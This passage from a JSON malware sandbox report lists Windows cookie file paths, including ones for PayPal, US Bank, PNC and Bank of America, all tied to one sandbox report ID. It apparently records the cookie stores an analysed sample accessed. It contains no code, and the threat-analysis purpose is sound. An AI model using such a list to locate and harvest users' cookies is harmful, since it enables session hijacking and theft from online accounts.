%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nspmotion[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nuggad[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@o2online[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@oadz[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@officestore.microsoft[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@oi.com[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ok[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@omtrdc[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@onlinebanking.usbank[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@onlinedown[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@openx[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@oracle.112.2o7[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@oracle[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@otomoto[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@otto[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ournba[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@outbrain[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@overstock[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@owneriq[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@p.l.youku[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@p4p.yhd[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pagefair[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pagesjaunes[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pandora[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pandora[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pardot[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@partycasino[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@partypoker[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@passport.126[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@passport.126[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@paypalobjects[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@paypal[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pcauto.com[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pchome[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pclady.com[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pconline.com[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pcworld[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@people[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@photobucket[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pho[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pi.pardot[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pingan[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pippio[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pixel-a.sitescout[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pixel.rubiconproject[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pixnet[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pixnet[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@play.barbie[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@player.vimeo[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pnc[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@poco[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pof[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pof[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pole-emploi[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pool.admedo[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@poptropica[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pos.baidu[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@postrelease[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pps[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@prism.pandora[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pro-market[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pro.goalunited[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@profile.zhenai[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@proparm[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pubmatic[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@px.steelhousemedia[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@qip[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@qqtn[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@qq[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@qtmojo[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@quantserve[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@qunar[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rakuten.112.2o7[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rakuten.co[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rambler[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rat.rakuten.co[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rcsmetrics[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@realtor[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@real[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@redintelligence[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@repubblica[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@revsci[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rfihub[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@richaudience[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rightmove.co[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rivals[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rlcdn[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@robtex[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rs.aol[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rta.dailymail.co[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rtb.behe[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ru4[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rubiconproject[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rutube[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@s.thebrighttag[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@scorecardresearch[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@scribd[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sddan[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@searchina[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@secure.imvu[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@seesaa[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sekindo[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@semasio[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@send.microad[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@server.adform[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@service.channel.mtime[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@serving-sys[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@seznam[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sharethis[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shoplocal[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shopping.udn[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shopping.udn[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shopzilla[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shutterflycom.tt.omtrdc[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shutterfly[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@simpli[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sitescout[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@skimresources[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@skycn[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@skyrock[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sky[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@slideshare[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@smartadserver[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@socdm[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sociomantic[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sofa.bankofamerica[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@softonic[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sogou[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sohu[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@songspk[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@songspk[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@songs[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sonymobcomm.tt.omtrdc[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sony[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sony[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@soundcloud[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sourceforge[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sp1.convertro[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@spiegel[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@spotxchange[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sprint[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@squid.gazeta[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ssl.bing[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@stat.eol[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@state[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@steelhousemedia[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@stumbleupon[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sundaysky[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@suning[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sunrtb[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@surveymonkey[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sxp.smartclip[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@symantec[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sync.shinobi[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@t-online[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@t.dailymail.co[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@t.myvisualiq[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@t.qservz[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@t.tailtarget[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@taboola[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tacoda.at.atwola[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tanx[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tap-secure.rubiconproject[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tap.ru